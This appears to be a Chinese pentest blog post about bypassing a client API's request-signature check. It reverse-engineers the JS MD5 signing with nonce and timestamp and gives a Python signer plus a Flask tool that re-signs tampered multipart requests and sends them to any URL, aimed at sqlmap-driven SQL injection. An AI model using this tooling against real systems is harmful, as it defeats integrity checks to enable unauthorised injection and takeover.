背景: 某客户系统存在签名校验,由参数以及其值拼接随机数和时间戳生成,并且数据包由multipart/form-data的表单形式传输,前端JS逆向完成后编写出了签名生成工具,但是一个个参数值复制替换到burp进行测试十分不方便,后续也是遇到了SQL注入,而手动注入比较麻烦,于是有了一键签名并发送数据包的想法,在SQLMAP的联动下快速进行SQL注入并且获取系统权限。

直接篡改数据包,会出现签名不正确:

此处单纯从数据包上看,存在随机数nonce和timestamp和签名校验sign

逆向分析JS:

其中nonce和timestamp的实现方法有了

打断点,发现是将参数以及其值和nonce和timpstamp排列后进行md5

编写脚本:

import hashlib
import time
import random
import json

class SignGenerator:
def __init__(self):
self.chars = "ABCDEFGHIJKLNMOPQRSTUVWSYZabcdefghijklnmopqrstuvwsyz0123456789"

def random_string(self, length=16):
"""生成随机字符串(对应JS中的randomString函数)[1,5](@ref)"""
return ''.join(random.choice(self.chars) for _ in range(length))

def sign(self, params=None):
"""生成签名字符串(对应JS中的sign函数)[1,3](@ref)"""
if params is None:
params = {}

# 深拷贝参数[3](@ref)
n = json.loads(json.dumps(params))
t = {}

# 过滤掉sign参数,并按key排序[5](@ref)
sorted_keys = sorted(n.keys())
for key in sorted_keys:
if key != 'sign':
t[key] = n[key]

# 生成key=value格式的字符串[3](@ref)
r = []
for key in sorted(t.keys()):
if key in t and key != 'sign':
r.append(f"{key}={t[key]}")

return ''.join(r)

def generate_signature(self, param_str):
"""生成MD5签名(对应ne()(this.sign(n)))[5](@ref)"""
# 使用MD5哈希,这是最常见的签名算法
return hashlib.md5(param_str.encode('utf-8')).hexdigest()

def params(self, original_params=None):
"""生成完整参数(对应JS中的params函数)[3](@ref)"""
if original_params is None:
original_params = {}

# 深拷贝参数
n = json.loads(json.dumps(original_params))

# 添加nonce和timestamp[5](@ref)
n['nonce'] = self.random_string()
n['timestamp'] = int(time.time())

# 生成签名:先创建签名字符串,再进行MD5哈希
sign_str = self.sign(n)
n['sign'] = self.generate_signature(sign_str)

return n

def get_user_input():
"""获取用户输入的参数[6,7](@ref)"""
params = {}

try:
# 询问参数数量
num_params = int(input("请输入需要输入的参数个数: "))

# 输入每个参数的名称和值[8](@ref)
for i in range(num_params):
param_name = input(f"请输入第 {i+1} 个参数的名称: ").strip()
param_value = input(f"请输入参数 '{param_name}' 的值: ").strip()
params[param_name] = param_value

except ValueError:
print("错误:请输入有效的数字!")
return None

return params

def main():
"""主函数,处理用户交互和签名生成[6](@ref)"""
print("=== API签名生成器 ===")
print("本程序将帮助您生成API请求的签名参数")
print("=" * 30)

# 获取用户输入
user_params = get_user_input()

if user_params is None:
return

if not user_params:
print("警告:未输入任何参数,将使用空参数生成签名")

# 显示用户输入的参数
print("\n您输入的参数:")
for key, value in user_params.items():
print(f" {key}: {value}")

# 生成签名
sign_gen = SignGenerator()

try:
# 生成完整参数(包含nonce、timestamp和sign)
result_params = sign_gen.params(user_params)

# 显示结果
print("\n" + "=" * 50)
print("生成的完整参数:")
print("=" * 50)

for key, value in result_params.items():
print(f"{key}: {value}")

# 显示签名生成过程的详细信息
print("\n" + "=" * 50)
print("签名生成详情:")
print("=" * 50)

# 计算用于签名的原始字符串
sign_str = sign_gen.sign(result_params)
print(f"用于签名的原始字符串: {sign_str}")
print(f"生成的MD5签名: {result_params['sign']}")

# 显示时间信息
print(f"\n时间戳: {result_params['timestamp']} (对应时间: {time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result_params['timestamp']))})")
print(f"随机数(nonce): {result_params['nonce']}")

except Exception as e:
print(f"生成签名时出错: {e}")

# 增强版:支持命令行参数输入[6,8](@ref)
import argparse

def parse_arguments():
"""解析命令行参数[6](@ref)"""
parser = argparse.ArgumentParser(description='API签名生成器')
parser.add_argument('--interactive', action='store_true',
help='交互式模式(默认)')
parser.add_argument('--params', nargs='*',
help='直接通过命令行指定参数,格式:key1=value1 key2=value2')
return parser.parse_args()

if __name__ == "__main__":
args = parse_arguments()

if args.params:
# 命令行参数模式[8](@ref)
params_dict = {}
for param in args.params:
if '=' in param:
key, value = param.split('=', 1)
params_dict[key] = value
else:
print(f"警告:参数格式错误,跳过: {param}")

if params_dict:
sign_gen = SignGenerator()
result = sign_gen.params(params_dict)
print("通过命令行参数生成的签名结果:")
print(json.dumps(result, indent=2))
else:
# 交互式模式(默认)[7](@ref)
main()

print("\n程序执行完毕!")

至此成功绕过签名校验进行数据包篡改:

这里如果每次一次一次输入参数和值,并且需要将其复制粘贴到burp中非常麻烦,这里直接将其改造成flask脚本,实现一键根据参数进行签名校验+根据对应域名下的接口进行发送数据包

以下是项目结构以及代码实现:

项目文件夹/
├── app.py \# Flask主应用
├── templates/
│ └── index.html \# 网页模板

app.py

from flask import Flask, render_template, request, jsonify
import hashlib
import time
import random
import json
import logging
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

app = Flask(__name__)
app.logger.setLevel(logging.DEBUG)

class SignGenerator:
def __init__(self):
self.chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"

def random_string(self, length=16):
"""生成随机字符串"""
return ''.join(random.choice(self.chars) for _ in range(length))

def sign(self, params=None):
"""生成签名字符串"""
if params is None:
params = {}

n = json.loads(json.dumps(params))
t = {}

sorted_keys = sorted(n.keys())
for key in sorted_keys:
if key != 'sign':
t[key] = n[key]

r = []
for key in sorted(t.keys()):
if key in t and key != 'sign':
r.append(f"{key}={t[key]}")

return ''.join(r)

def generate_signature(self, param_str):
"""生成MD5签名"""
return hashlib.md5(param_str.encode('utf-8')).hexdigest()

def params(self, original_params=None, custom_nonce=None, custom_timestamp=None):
"""生成完整参数"""
if original_params is None:
original_params = {}

n = json.loads(json.dumps(original_params))

if custom_nonce is not None and custom_nonce != "":
app.logger.debug(f"使用自定义nonce: {custom_nonce}")
n['nonce'] = custom_nonce
else:
new_nonce = self.random_string()
app.logger.debug(f"生成新nonce: {new_nonce}")
n['nonce'] = new_nonce

if custom_timestamp is not None and custom_timestamp != "":
try:
timestamp = int(custom_timestamp)
app.logger.debug(f"使用自定义timestamp: {timestamp}")
n['timestamp'] = timestamp
except (ValueError, TypeError):
app.logger.warning(f"无效的时间戳值: {custom_timestamp}, 使用当前时间")
n['timestamp'] = int(time.time())
else:
current_time = int(time.time())
app.logger.debug(f"使用当前时间戳: {current_time}")
n['timestamp'] = current_time

sign_str = self.sign(n)
n['sign'] = self.generate_signature(sign_str)

return n, sign_str

class RequestSender:
def __init__(self):
self.default_headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x63090c37) XWEB/8555 Flue',
'Connection': 'keep-alive'
}

def create_multipart_data(self, form_data, boundary=None):
"""创建multipart/form-data数据"""
if boundary is None:
boundary = f"----WebKitFormBoundary{self.random_string(16)}"

multipart_data = {}
for key, value in form_data.items():
multipart_data[key] = (None, str(value))

return MultipartEncoder(fields=multipart_data, boundary=boundary)

def random_string(self, length=16):
"""生成随机字符串"""
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
return ''.join(random.choice(chars) for _ in range(length))

def send_request(self, url, form_data, custom_headers=None, boundary=None):
"""发送multipart/form-data请求"""
try:
# 创建multipart数据
multipart_encoder = self.create_multipart_data(form_data, boundary)

# 准备请求头
request_headers = self.default_headers.copy()
if custom_headers:
request_headers.update(custom_headers)

request_headers['Content-Type'] = multipart_encoder.content_type
request_headers['Content-Length'] = str(multipart_encoder.len)

app.logger.debug(f"发送请求到: {url}")
app.logger.debug(f"请求头: {request_headers}")
app.logger.debug(f"表单数据: {form_data}")

# 发送POST请求
response = requests.post(
url,
data=multipart_encoder,
headers=request_headers,
timeout=30
)

return {
'success': True,
'status_code': response.status_code,
'headers': dict(response.headers),
'content': response.text,
'elapsed': response.elapsed.total_seconds()
}

except requests.exceptions.RequestException as e:
app.logger.error(f"请求发送失败: {str(e)}")
return {
'success': False,
'error': str(e)
}
except Exception as e:
app.logger.error(f"发送请求时发生未知错误: {str(e)}")
return {
'success': False,
'error': f'未知错误: {str(e)}'
}

# 初始化工具类
sign_gen = SignGenerator()
request_sender = RequestSender()

@app.route('/')
def index():
"""主页 - 显示参数输入表单"""
return render_template('index.html')

@app.route('/generate', methods=['POST'])
def generate_signature():
"""处理签名生成请求"""
try:
if request.is_json:
data = request.get_json()
app.logger.debug(f"收到JSON请求: {data}")
params = data.get('params', {})
custom_nonce = data.get('custom_nonce')
custom_timestamp = data.get('custom_timestamp')
else:
app.logger.debug(f"收到表单请求: {request.form}")
params = {}
for key in request.form.keys():
if key not in ['action', 'custom_nonce', 'custom_timestamp'] and request.form[key]:
if key.startswith('param_key_') and request.form[key]:
idx = key.replace('param_key_', '')
value_key = f'param_value_{idx}'
if value_key in request.form and request.form[value_key]:
param_name = request.form[key]
param_value = request.form[value_key]
params[param_name] = param_value

custom_nonce = request.form.get('custom_nonce')
custom_timestamp = request.form.get('custom_timestamp')

app.logger.debug(f"处理参数: params={params}, custom_nonce={custom_nonce}, custom_timestamp={custom_timestamp}")

result_params, sign_str = sign_gen.params(params, custom_nonce, custom_timestamp)

used_custom_nonce = custom_nonce is not None and custom_nonce != ""
used_custom_timestamp = custom_timestamp is not None and custom_timestamp != ""

result = {
'success': True,
'params': result_params,
'sign_details': {
'original_string': sign_str,
'generated_sign': result_params['sign'],
'timestamp': result_params['timestamp'],
'formatted_time': time .strftime('%Y-%m-%d %H:%M:%S', time.localtime(result_params['timestamp'])),
'nonce': result_params['nonce'],
'used_custom_nonce': used_custom_nonce,
'used_custom_timestamp': used_custom_timestamp
}
}

app.logger.debug(f"返回结果: {result}")
return jsonify(result)

except Exception as e:
app.logger.error(f"生成签名时出错: {str(e)}")
return jsonify({
'success': False,
'error': str(e)
}), 400

@app.route('/send_request', methods=['POST'])
def send_api_request():
"""发送API请求到目标服务器"""
try:
data = request.get_json()
app.logger.debug(f"收到发送请求: {data}")

# 获取基本参数
form_params = data.get('form_params', {})
custom_nonce = data.get('custom_nonce')
custom_timestamp = data.get('custom_timestamp')
target_url = data.get('target_url', '')
custom_headers = data.get('custom_headers', {}) # 获取自定义请求头
boundary = data.get('boundary', '----WebKitFormBoundaryxCjvbAAnY55N0prq')

# 生成签名参数
sign_params, sign_str = sign_gen.params(form_params, custom_nonce, custom_timestamp)

# 准备表单数据(包含签名参数)
final_form_data = form_params.copy()
final_form_data['nonce'] = sign_params['nonce']
final_form_data['timestamp'] = sign_params['timestamp']

# 准备请求头(包含签名和自定义请求头)
headers = custom_headers.copy() # 先复制自定义请求头
headers['Sign'] = sign_params['sign'] # 添加签名头

app.logger.debug(f"最终表单数据: {final_form_data}")
app.logger.debug(f"请求头: {headers}")
app.logger.debug(f"目标URL: {target_url}")

# 发送请求
send_result = request_sender.send_request(target_url, final_form_data, headers, boundary)

# 构建返回结果
result = {
'success': send_result['success'],
'request_info': {
'url': target_url,
'form_data': final_form_data,
'headers': headers,
'signature': sign_params['sign'],
'nonce': sign_params['nonce'],
'timestamp': sign_params['timestamp']
},
'sign_details': {
'original_string': sign_str,
'generated_sign': sign_params['sign']
}
}

if send_result['success']:
result['response'] = {
'status_code': send_result['status_code'],
'elapsed_time': send_result['elapsed'],
'content': send_result['content'],
'headers': send_result['headers']
}
else:
result['error'] = send_result['error']

return jsonify(result)

except Exception as e:
app.logger.error(f"发送API请求时出错: {str(e)}")
return jsonify({
'success': False,
'error': str(e)
}), 400

@app.route('/batch_generate', methods=['POST'])
def batch_generate():
"""批量生成签名"""
try:
data = request.get_json()
param_sets = data.get('param_sets', [])

results = []

for param_set in param_sets:
custom_nonce = param_set.pop('custom_nonce', None) if isinstance(param_set, dict) else None
custom_timestamp = param_set.pop('custom_timestamp', None) if isinstance(param_set, dict) else None

result_params, sign_str = sign_gen.params(param_set, custom_nonce, custom_timestamp)
results.append({
'input_params': param_set,
'result': result_params,
'sign_string': sign_str,
'used_custom_nonce': custom_nonce is not None and custom_nonce != "",
'used_custom_timestamp': custom_timestamp is not None and custom_timestamp != ""
})

return jsonify({
'success': True,
'results': results,
'total': len(results)
})

except Exception as e:
app.logger.error(f"批量生成时出错: {str(e)}")
return jsonify({
'success': False,
'error': str(e)
}), 400

if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)

index.html

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>API签名生成器与请求发送工具</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
.param-row { margin-bottom: 10px; }
.signature-result { background-color: #f8f9fa; border-radius: 5px; padding: 15px; margin-top: 20px; }
.copy-btn { cursor: pointer; }
.timestamp { font-family: monospace; }
.custom-field { background-color: #f0f8ff; }
.alert-box { position: fixed; top: 20px; right: 20px; z-index: 1000; }
.tab-content { margin-top: 20px; }
.request-tab { padding: 15px; border: 1px solid #dee2e6; border-top: none; border-radius: 0 0 5px 5px; }
.header-section { background-color: #f8f9fa; padding: 15px; border-radius: 5px; margin-bottom: 20px; }
</style>
</head>
<body>
<div class="container mt-4">
<div id="alertBox" class="alert-box"></div>

<div class="row">
<div class="col-12">
<h1 class="text-center">API签名生成器与请求发送工具</h1>
<p class="text-center text-muted">生成签名参数并一键发送multipart/form-data请求</p>
</div>
</div>

<!-- 选项卡导航 -->
<ul class="nav nav-tabs" id="myTab" role="tablist">
<li class="nav-item" role="presentation">
<button class="nav-link active" id="generate-tab" data-bs-toggle="tab" data-bs-target="#generate" type="button" role="tab">生成签名</button>
</li>
<li class="nav-item" role="presentation">
<button class="nav-link" id="send-tab" data-bs-toggle="tab" data-bs-target="#send" type="button" role="tab">发送请求</button>
</li>
</ul>

<!-- 生成签名选项卡 -->
<div class="tab-content" id="myTabContent">
<div class="tab-pane fade show active" id="generate" role="tabpanel">
<!-- 原有的生成签名界面内容保持不变 -->
<div class="row mt-4">
<div class="col-md-10 mx-auto">
<div class="card">
<div class="card-header">
<h5 class="card-title mb-0">参数输入</h5>
</div>
<div class="card-body">
<form id="signatureForm">
<div id="paramContainer">
<div class="param-row row">
<div class="col-md-5">
<input type="text" class="form-control param-key" placeholder="参数名" name="param_key_0">
</div>
<div class="col-md-5">
<input type="text" class="form-control param-value" placeholder="参数值" name="param_value_0">
</div>
<div class="col-md-2">
<button type="button" class="btn btn-danger btn-sm remove-param" disabled>删除</button>
</div>
</div>
</div>

<div class="row mt-3">
<div class="col-md-6">
<label for="custom_nonce" class="form-label">自定义 Nonce (可选)</label>
<div class="input-group">
<input type="text" class="form-control custom-field" id="custom_nonce"
placeholder="留空则自动生成16位随机字符串" name="custom_nonce">
<button type="button" id="generateNonce" class="btn btn-outline-secondary">生成</button>
</div>
</div>
<div class="col-md-6">
<label for="custom_timestamp" class="form-label">自定义 Timestamp (可选)</label>
<div class="input-group">
<input type="number" class="form-control custom-field" id="custom_timestamp"
placeholder="留空则使用当前时间戳" name="custom_timestamp">
<button type="button" id="currentTimestamp" class="btn btn-outline-secondary">当前</button>
</div>
</div>
</div>

<div class="row mt-3">
<div class="col-12">
<button type="button" id="addParam" class="btn btn-secondary btn-sm">添加参数</button>
<button type="submit" class="btn btn-primary">生成签名</button>
<button type="button" id="resetForm" class="btn btn-outline-secondary">重置</button>
</div>
</div>
</form>
</div>
</div>
</div>
</div>

<!-- 结果显示区域 -->
<div class="row mt-4" id="resultSection" style="display: none;">
<div class="col-md-10 mx-auto">
<div class="card">
<div class="card-header">
<h5 class="card-title mb-0">生成结果</h5>
</div>
<div class="card-body">
<div id="signatureResult"></div>
</div>
</div>
</div>
</div>

<div class="row mt-4" id="detailSection" style="display: none;">
<div class="col-md-10 mx-auto">
<div class="card">
<div class="card-header">
<h5 class="card-title mb-0">签名详情</h5>
</div>
<div class="card-body">
<div id="signatureDetails"></div>
</div>
</div>
</div>
</div>
</div>

<!-- 发送请求选项卡 -->
<div class="tab-pane fade" id="send" role="tabpanel">
<div class="request-tab">
<div class="row">
<div class="col-md-10 mx-auto">
<div class="card">
<div class="card-header">
<h5 class="card-title mb-0">请求配置</h5>
</div>
<div class="card-body">
<form id="sendRequestForm">
<div class="row mb-3">
<div class="col-md-12">
<label for="target_url" class="form-label">目标URL</label>
<input type="text" class="form-control" id="target_url"
value="" required>
</div>
</div>

<!-- 自定义请求头区域 -->
<div class="header-section">
<h6>自定义请求头</h6>
<p class="text-muted">添加或删除自定义HTTP请求头</p>
<div id="customHeadersContainer">
<div class="param-row row">
<div class="col-md-4">
<input type="text" class="form-control custom-header-key" placeholder="请求头名称" value="Token">
</div>
<div class="col-md-4">
<input type="text" class="form-control custom-header-value" placeholder="请求头值" value="">
</div>
<div class="col-md-2">
<button type="button" class="btn btn-danger btn-sm remove-custom-header" disabled>删除</button>
</div>
</div>
</div>
<button type="button" id="addCustomHeader" class="btn btn-secondary btn-sm mt-2">添加请求头</button>
</div>

<div class="row mb-3 mt-3">
<div class="col-md-12">
<label class="form-label">表单参数</label>
<div id="sendParamContainer">
<div class="param-row row">
<div class="col-md-4">
<input type="text" class="form-control send-param-key" placeholder="参数名" value="uid">
</div>
<div class="col-md-4">
<input type="text" class="form-control send-param-value" placeholder="参数值" value="123456">
</div>
<div class="col-md-2">
<button type="button" class="btn btn-danger btn-sm remove-send-param" disabled>删除</button>
</div>
</div>
</div>
<button type="button" id="addSendParam" class="btn btn-secondary btn-sm mt-2">添加参数</button>
</div>
</div>

<div class="row">
<div class="col-md-6">
<label for="send_custom_nonce" class="form-label">自定义 Nonce (可选)</label>
<div class="input-group">
<input type="text" class="form-control custom-field" id="send_custom_nonce"
placeholder="留空则自动生成">
<button type="button" id="generateSendNonce" class="btn btn-outline-secondary">生成</button>
</div>
</div>
<div class="col-md-6">
<label for="send_custom_timestamp" class="form-label">自定义 Timestamp (可选)</label>
<div class="input-group">
<input type="number" class="form-control custom-field" id="send_custom_timestamp"
placeholder="留空则使用当前时间戳">
<button type="button" id="currentSendTimestamp" class="btn btn-outline-secondary">当前</button>
</div>
</div>
</div>

<div class="row mt-3">
<div class="col-12">
<button type="submit" class="btn btn-success">一键生成并发送请求</button>
<button type="button" id="resetSendForm" class="btn btn-outline-secondary">重置</button>
</div>
</div>
</form>
</div>
</div>
</div>
</div>

<!-- 发送结果区域 -->
<div class="row mt-4" id="sendResultSection" style="display: none;">
<div class="col-md-10 mx-auto">
<div class="card">
<div class="card-header">
<h5 class="card-title mb-0">请求结果</h5>
</div>
<div class="card-body">
<div id="sendRequestResult"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
<script>
// 原有的生成签名功能JavaScript代码保持不变
// 这里只展示新增的自定义请求头功能相关的JavaScript代码

let sendParamCount = 1;
let customHeaderCount = 1;

// 修复:添加生成签名表单的提交处理
document.getElementById('signatureForm').addEventListener('submit', function(e) {
e.preventDefault();

// 收集表单参数
const params = {};
const keyInputs = document.querySelectorAll('.param-key');
const valueInputs = document.querySelectorAll('.param-value');

for (let i = 0; i < keyInputs.length; i++) {
const key = keyInputs[i].value.trim();
const value = valueInputs[i].value.trim();
if (key && value) {
params[key] = value;
}
}

// 获取自定义值
const customNonce = document.getElementById('custom_nonce').value.trim();
const customTimestamp = document.getElementById('custom_timestamp').value.trim();

// 准备请求数据
const requestData = {
params: params,
custom_nonce: customNonce || null,
custom_timestamp: customTimestamp || null
};

console.log("发送生成签名请求数据:", requestData);

// 显示加载状态
const submitBtn = this.querySelector('button[type="submit"]');
const originalBtnText = submitBtn.textContent;
submitBtn.textContent = "生成中...";
submitBtn.disabled = true;

// 发送请求
fetch('/generate', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(requestData)
})
.then(response => {
if (!response.ok) {
throw new Error(`HTTP错误! 状态: ${response.status}`);
}
return response.json();
})
.then(data => {
if (data.success) {
displayGenerateResults(data);
} else {
showAlert(`生成失败: ${data.error}`, 'danger');
}
})
.catch(error => {
console.error('请求错误:', error);
showAlert(`请求失败: ${error.message}`, 'danger');
})
.finally(() => {
submitBtn.textContent = originalBtnText;
submitBtn.disabled = false;
});
});

// 显示生成签名结果
function displayGenerateResults(data) {
const resultSection = document.getElementById('resultSection');
const detailSection = document.getElementById('detailSection');
const resultDiv = document.getElementById('signatureResult');
const detailsDiv = document.getElementById('signatureDetails');

// 显示完整参数
let resultHtml = '<h6>完整参数:</h6><div class="signature-result"><table class="table table-sm">';
for (const [key, value] of Object.entries(data.params)) {
resultHtml += `<tr><td><strong>${key}:</strong></td><td class="timestamp">${value}</td></tr>`;
}
resultHtml += '</table></div>';
resultDiv.innerHTML = resultHtml;

// 显示签名详情
const signDetails = data.sign_details;
let detailsHtml = `
<p><strong>用于签名的原始字符串:</strong><br>
<code>${signDetails.original_string}</code></p>

<p><strong>生成的MD5签名:</strong><br>
<code>${signDetails.generated_sign}</code></p>

<p><strong>时间戳:</strong> ${signDetails.timestamp}<br>
<strong>对应时间:</strong> ${signDetails.formatted_time}</p>

<p><strong>随机数(nonce):</strong> ${signDetails.nonce}</p>

<p><strong>使用自定义值:</strong><br>
- Nonce: ${signDetails.used_custom_nonce ? '是' : '否'}<br>
- Timestamp: ${signDetails.used_custom_timestamp ? '是' : '否'}</p>

<div class="d-flex gap-2">
<button class="btn btn-outline-primary btn-sm" onclick="copyToClipboard('${JSON.stringify(data.params, null, 2)}', this)">
复制全部参数
</button>
<button class="btn btn-outline-success btn-sm" onclick="copyToClipboard('${signDetails.original_string}', this)">
复制签名字符串
</button>
<button class="btn btn-outline-info btn-sm" onclick="copyToClipboard('${signDetails.generated_sign}', this)">
复制签名值
</button>
</div>
`;
detailsDiv.innerHTML = detailsHtml;

// 显示结果区域
resultSection.style.display = 'block';
detailSection.style.display = 'block';

// 滚动到结果区域
resultSection.scrollIntoView({ behavior: 'smooth' });
}

// 发送请求表单提交
document.getElementById('sendRequestForm').addEventListener('submit', function(e) {
e.preventDefault();

// 收集表单参数
const formParams = {};
const keyInputs = document.querySelectorAll('.send-param-key');
const valueInputs = document.querySelectorAll('.send-param-value');

for (let i = 0; i < keyInputs.length; i++) {
const key = keyInputs[i].value.trim();
const value = valueInputs[i].value.trim();
if (key && value) {
formParams[key] = value;
}
}

// 收集自定义请求头
const customHeaders = {};
const headerKeyInputs = document.querySelectorAll('.custom-header-key');
const headerValueInputs = document.querySelectorAll('.custom-header-value');

for (let i = 0; i < headerKeyInputs.length; i++) {
const key = headerKeyInputs[i].value.trim();
const value = headerValueInputs[i].value.trim();
if (key && value) {
customHeaders[key] = value;
}
}

// 获取其他参数
const targetUrl = document.getElementById('target_url').value.trim();
const customNonce = document.getElementById('send_custom_nonce').value.trim();
const customTimestamp = document.getElementById('send_custom_timestamp').value.trim();

// 准备请求数据
const requestData = {
form_params: formParams,
target_url: targetUrl,
custom_headers: customHeaders, // 添加自定义请求头
custom_nonce: customNonce || null,
custom_timestamp: customTimestamp || null
};

console.log("发送请求数据:", requestData);

// 显示加载状态
const submitBtn = this.querySelector('button[type="submit"]');
const originalBtnText = submitBtn.textContent;
submitBtn.textContent = "发送中...";
submitBtn.disabled = true;

// 发送请求
fetch('/send_request', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(requestData)
})
.then(response => {
if (!response.ok) {
throw new Error(`HTTP错误! 状态: ${response.status}`);
}
return response.json();
})
.then(data => {
displaySendResults(data);
})
.catch(error => {
console.error('请求发送错误:', error);
showAlert(`请求发送失败: ${error.message}`, 'danger');
})
.finally(() => {
submitBtn.textContent = originalBtnText;
submitBtn.disabled = false;
});
});

// 显示发送结果
function displaySendResults(data) {
const resultSection = document.getElementById('sendResultSection');
const resultDiv = document.getElementById('sendRequestResult');

let resultHtml = '';

if (data.success) {
resultHtml = `
<div class="alert alert-success">
<h6>✅ 请求发送成功</h6>
<p><strong>状态码:</strong> ${data.response.status_code}</p>
<p><strong>响应时间:</strong> ${data.response.elapsed_time}秒</p>
</div>

<h6>请求详情:</h6>
<div class="signature-result">
<p><strong>URL:</strong> ${data.request_info.url}</p>
<p><strong>签名:</strong> <code>${data.request_info.signature}</code></p>
<p><strong>Nonce:</strong> ${data.request_info.nonce}</p>
<p><strong>Timestamp:</strong> ${data.request_info.timestamp}</p>

<h6 class="mt-3">自定义请求头:</h6>
<pre>${JSON.stringify(data.request_info.headers, null, 2)}</pre>

<h6>表单数据:</h6>
<pre>${JSON.stringify(data.request_info.form_data, null, 2)}</pre>

<h6>响应内容:</h6>
<pre>${data.response.content}</pre>
</div>
`;
} else {
resultHtml = `
<div class="alert alert-danger">
<h6>❌ 请求发送失败</h6>
<p><strong>错误信息:</strong> ${data.error}</p>
</div>
`;
}

resultDiv.innerHTML = resultHtml;
resultSection.style.display = 'block';
resultSection.scrollIntoView({ behavior: 'smooth' });
}

// 添加自定义请求头行
document.getElementById('addCustomHeader').addEventListener('click', function() {
const container = document.getElementById('customHeadersContainer');
const newRow = document.createElement('div');
newRow.className = 'param-row row mt-2';
newRow.innerHTML = `
<div class="col-md-4">
<input type="text" class="form-control custom-header-key" placeholder="请求头名称">
</div>
<div class="col-md-4">
<input type="text" class="form-control custom-header-value" placeholder="请求头值">
</div>
<div class="col-md-2">
<button type="button" class="btn btn-danger btn-sm remove-custom-header">删除</button>
</div>
`;
container.appendChild(newRow);
customHeaderCount++;
updateRemoveCustomHeaderButtons();
});

// 更新自定义请求头删除按钮状态
function updateRemoveCustomHeaderButtons() {
const removeButtons = document.querySelectorAll('.remove-custom-header');
removeButtons.forEach(btn => btn.disabled = removeButtons.length <= 1);
}

// 删除自定义请求头行
document.addEventListener('click', function(e) {
if (e.target.classList.contains('remove-custom-header')) {
if (document.querySelectorAll('.remove-custom-header').length > 1) {
e.target.closest('.param-row').remove();
updateRemoveCustomHeaderButtons();
}
}
});

// 添加发送参数行
document.getElementById('addSendParam').addEventListener('click', function() {
const container = document.getElementById('sendParamContainer');
const newRow = document.createElement('div');
newRow.className = 'param-row row mt-2';
newRow.innerHTML = `
<div class="col-md-4">
<input type="text" class="form-control send-param-key" placeholder="参数名">
</div>
<div class="col-md-4">
<input type="text" class="form-control send-param-value" placeholder="参数值">
</div>
<div class="col-md-2">
<button type="button" class="btn btn-danger btn-sm remove-send-param">删除</button>
</div>
`;
container.appendChild(newRow);
sendParamCount++;
updateRemoveSendButtons();
});

// 更新发送参数删除按钮状态
function updateRemoveSendButtons() {
const removeButtons = document.querySelectorAll('.remove-send-param');
removeButtons.forEach(btn => btn.disabled = removeButtons.length <= 1);
}

// 删除发送参数行
document.addEventListener('click', function(e) {
if (e.target.classList.contains('remove-send-param')) {
if (document.querySelectorAll('.remove-send-param').length > 1) {
e.target.closest('.param-row').remove();
updateRemoveSendButtons();
}
}
});

// 发送请求相关的工具函数
document.getElementById('generateSendNonce').addEventListener('click', function() {
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
let result = '';
for (let i = 0; i < 16; i++) {
result += chars.charAt(Math.floor(Math.random() * chars.length));
}
document.getElementById('send_custom_nonce').value = result;
});

document.getElementById('currentSendTimestamp').addEventListener('click', function() {
const currentTimestamp = Math.floor(Date.now() / 1000);
document.getElementById('send_custom_timestamp').value = currentTimestamp;
});

document.getElementById('resetSendForm').addEventListener('click', function() {
document.getElementById('sendRequestForm').reset();

// 重置自定义请求头(保留第一个)
const headerContainer = document.getElementById('customHeadersContainer');
while (headerContainer.children.length > 1) {
headerContainer.removeChild(headerContainer.lastChild);
}
customHeaderCount = 1;
updateRemoveCustomHeaderButtons();

// 重置表单参数(保留第一个)
const paramContainer = document.getElementById('sendParamContainer');
while (paramContainer.children.length > 1) {
paramContainer.removeChild(paramContainer.lastChild);
}
sendParamCount = 1;
updateRemoveSendButtons();

document.getElementById('sendResultSection').style.display = 'none';
});

// 初始化
updateRemoveCustomHeaderButtons();
updateRemoveSendButtons();

function showAlert(message, type = 'success') {
const alertBox = document.getElementById('alertBox');
const alertId = `alert-${Date.now()}`;

const alertHtml = `
<div id="${alertId}" class="alert alert-${type} alert-dismissible fade show" role="alert">
${message}
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
</div>
`;

alertBox.innerHTML = alertHtml;

setTimeout(() => {
const alertElement = document.getElementById(alertId);
if (alertElement) {
const bsAlert = new bootstrap.Alert(alertElement);
bsAlert.close();
}
}, 5000);
}

// 签名功能相关代码
let paramCount = 1;

document.getElementById('addParam').addEventListener('click', function() {
const container = document.getElementById('paramContainer');
const newRow = document.createElement('div');
newRow.className = 'param-row row';
newRow.innerHTML = `
<div class="col-md-5">
<input type="text" class="form-control param-key" placeholder="参数名" name="param_key_${paramCount}">
</div>
<div class="col-md-5">
<input type="text" class="form-control param-value" placeholder="参数值" name="param_value_${paramCount}">
</div>
<div class="col-md-2">
<button type="button" class="btn btn-danger btn-sm remove-param">删除</button>
</div>
`;
container.appendChild(newRow);
paramCount++;
updateRemoveButtons();
});

function updateRemoveButtons() {
const removeButtons = document.querySelectorAll('.remove-param');
removeButtons.forEach(btn => btn.disabled = removeButtons.length <= 1);
}

document.addEventListener('click', function(e) {
if (e.target.classList.contains('remove-param')) {
if (document.querySelectorAll('.remove-param').length > 1) {
e.target.closest('.param-row').remove();
updateRemoveButtons();
}
}
});

// 生成随机nonce
document.getElementById('generateNonce').addEventListener('click', function() {
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
